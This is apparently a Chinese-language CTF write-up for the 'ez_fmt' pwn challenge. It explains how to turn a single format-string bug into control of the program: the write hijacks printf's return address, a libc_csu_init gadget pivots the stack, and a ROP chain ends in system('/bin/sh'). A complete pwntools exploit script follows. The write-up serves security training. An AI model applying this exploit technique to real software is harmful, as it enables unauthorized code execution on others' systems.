ez_fmt 本来想着用格式化字符串低位爆破,不过看了别的师傅的文章,似乎有更为巧妙的思路。 先给大家看看题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 nt __cdecl main(int argc, const char **argv, const char **envp) { char buf[88]; // [rsp+0h] [rbp-60h] BYREF unsigned __int64 v5; // [rsp+58h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("There is a gift for you %p\n", buf); read(0, buf, 0x30uLL); if ( w == 0xFFFF ) { printf(buf); w = 0; } return 0; }
题目逻辑很简单,给了一个栈上的地址,然后有个只能利用一次的格式化字符串漏洞,这里如果想要在泄露libc基址,并同时劫持main的返回地址和w,0x30个字节显然是不够的,所以要另辟蹊径,尝试劫持子函数的返回地址 ,我们知道,在调用一个函数前,要先push rip,push rbp,把当前函数的执行状态和堆栈保留下来,而这里,题目把一个栈上的地址给我们,劫持子函数的返回地址是办得到的,gdb发现printf(buf)的返回地址刚好就在rsp上方,也就是rsp-8的位置,那我们就可以通过格式化字符串修改这个返回地址,从而控制整个程序。
执行到printf(buf)时的栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00:0000│ rsp 0x7fffe5c1e828 —▸ 0x40123e (main+168) ◂— mov dword ptr [rip + 0x2dc8], 0 01:0008│ rdi rsi 0x7fffe5c1e830 ◂— 0x2438256336303225 ('%206c%8$') 02:0010│ 0x7fffe5c1e838 ◂— 0x70243931256e6868 ('hhn%19$p') 03:0018│ 0x7fffe5c1e840 —▸ 0x7fffe5c1e828 —▸ 0x40123e (main+168) ◂— mov dword ptr [rip + 0x2dc8], 0 04:0020│ 0x7fffe5c1e848 —▸ 0x401205 (main+111) ◂— lea rax, [rbp - 0x60] 05:0028│ 0x7fffe5c1e850 —▸ 0x7f71461015e0 ◂— endbr64 06:0030│ 0x7fffe5c1e858 —▸ 0x4012bd (__libc_csu_ init+77) ◂— add rbx, 1 07:0038│ 0x7fffe5c1e860 —▸ 0x7f71460fc2e8 ◂— 0x0 08:0040│ 0x7fffe5c1e868 —▸ 0x401270 (__ libc_csu_ init) ◂— endbr64 09:0048│ 0x7fffe5c1e870 ◂— 0x0 0a:0050│ 0x7fffe5c1e878 —▸ 0x4010b0 (_start) ◂— endbr64 0b:0058│ 0x7fffe5c1e880 —▸ 0x7fffe5c1e980 ◂— 0x1 0c:0060│ 0x7fffe5c1e888 ◂— 0xf4bc6e9f9994b300 0d:0068│ rbp 0x7fffe5c1e890 ◂— 0x0 0e:0070│ 0x7fffe5c1e898 —▸ 0x7f7145f2f083 (__libc_start_main+243) ◂— mov edi, eax
我们可以看到此时push了一个返回地址上去,0x40123e,这就是我们要劫持的返回地址了,当然,劫持一个可能还不够,为了实现rop,我们至少需要写0x18个字节进去,但这里buf有长度限制,仅用格式化字符串显然是不够的。显然需要换一种思路。我们知道,ret相当于pop rip,那也就是说只需要把rsp控制到我们写入的位置就可以了,这里为了避免格式化字符串和我们写入的返回地址冲突,我们用libc_csu_init中的gadget来控制rsp。需要注意的是,在rop之前我们需要先泄露一个libc函数的地址来拿到libc_base。这一步可以放到格式化字符串那一步做。csu的pop执行完后,我们就可以利用ret来继续劫持程序流。所以我们的总体思路就是 :格式化字符串劫持子函数的返回地址到libc_csu_init->利用其中的pop|ret劫持程序流到read->利用read写入rop链,同时劫持read函数的返回地址
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p=process("./ez_fmt" ) libc=ELF("./libc-2.31.so" ) gdb.attach(p) p.recvuntil(b"0x" ) buf_addr="0x" +p.recvuntil("\n" )[:-1 ].decode("utf-8" ) buf_addr=int (buf_addr,16 ) print (hex (buf_addr))read_addr=0x401205 offset=0x18 payload=b"%206c%8$hhn%19$p" +p64(buf_addr-8 )+p64(read_addr) payload.ljust(0x30 ,b"a" ) p.send(payload) p.recvuntil("0x" ) libc_base=int ("0x" +p.recv(12 ).decode("utf-8" ),16 )-libc.sym["__libc_start_main" ]-243 print (hex (libc_base))pop_rdi=0x00000000004012d3 system=libc_base+libc.sym["system" ] bin_sh=libc_base+next (libc.search(b"/bin/sh\x00" )) one=0xe3b04 payload=b"a" *0x18 +p64(pop_rdi)+p64(bin_sh)+p64(libc_base+0x051CD2 ) p.send(payload) print (hex (bin_sh))p.interactive()
参考文献 :https://www.cnblogs.com/S1nyer/p/17914751.html